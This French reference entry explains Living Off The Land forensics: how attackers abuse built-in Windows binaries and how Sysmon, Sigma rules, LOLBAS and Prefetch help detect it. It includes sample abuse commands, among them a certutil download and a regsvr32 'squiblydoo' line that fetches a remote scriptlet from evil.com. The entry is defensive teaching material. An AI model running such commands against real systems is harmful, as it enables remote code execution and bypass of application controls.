Living Off The Land Forensics

Définition

Le Living Off The Land (LOtL ou LotL) est une stratégie d'attaque consistant à utiliser exclusivement des outils légitimes présents dans l'environnement cible (commandes Windows intégrées, scripts PowerShell, outils d'administration) pour accomplir les objectifs d'attaque, plutôt que d'introduire des outils malveillants détectables. La forensique LOtL consiste à identifier ces abus d'outils légitimes dans les artefacts d'investigation. Les binaires Windows nativement présents et fréquemment abusés (LOLBins — Living Off the Land Binaries) incluent : certutil.exe (téléchargement de fichiers : certutil -urlcache -f URL dest, encodage/décodage base64), mshta.exe (exécution de scripts HTML malveillants : mshta.exe javascript:...), regsvr32.exe (chargement de scripts COM distants via AppLocker bypass : regsvr32 /s /n /u /i:http://evil.com/scrobj.dll scrobj.dll, technique dite squiblydoo), wscript.exe et cscript.exe (exécution de VBScript/JScript malveillants), bitsadmin.exe (téléchargement de fichiers via BITS), rundll32.exe (exécution de DLLs : rundll32 shell32.dll,OpenAs_RunDLL), et powershell.exe avec ses nombreuses capacités offensives. La détection LOtL dans les Event Logs est rendue difficile par le fait que ces binaires ont des usages légitimes abondants. Les signatures de détection doivent se concentrer sur les anomalies : certutil utilisé en dehors du département IT, mshta.exe lancé par un processus non-navigateur, regsvr32 avec des arguments pointant vers des URLs, ou PowerShell avec des arguments encodés en Base64. Sysmon (EventID 1, Process Create) est la source principale pour la détection LOtL : il capture la ligne de commande complète de chaque processus, incluant les arguments suspects. Les Sigma rules pour les LOLBins (voir la base de règles sigma-rules.github.io) mappent les patterns LOtL connus vers des requêtes SIEM exploitables. La base de données LOLBas (Living Off The Land Binaries And Scripts, lolbas-project.github.io) documente exhaustivement tous les binaires Windows avec leurs techniques d'abus et des exemples de détection. Le Prefetch est aussi une source précieuse : les exécutions de certutil, mshta, wscript avec des timestamps proches d'un incident révèlent des abus LOtL même si les process logs ont été effacés.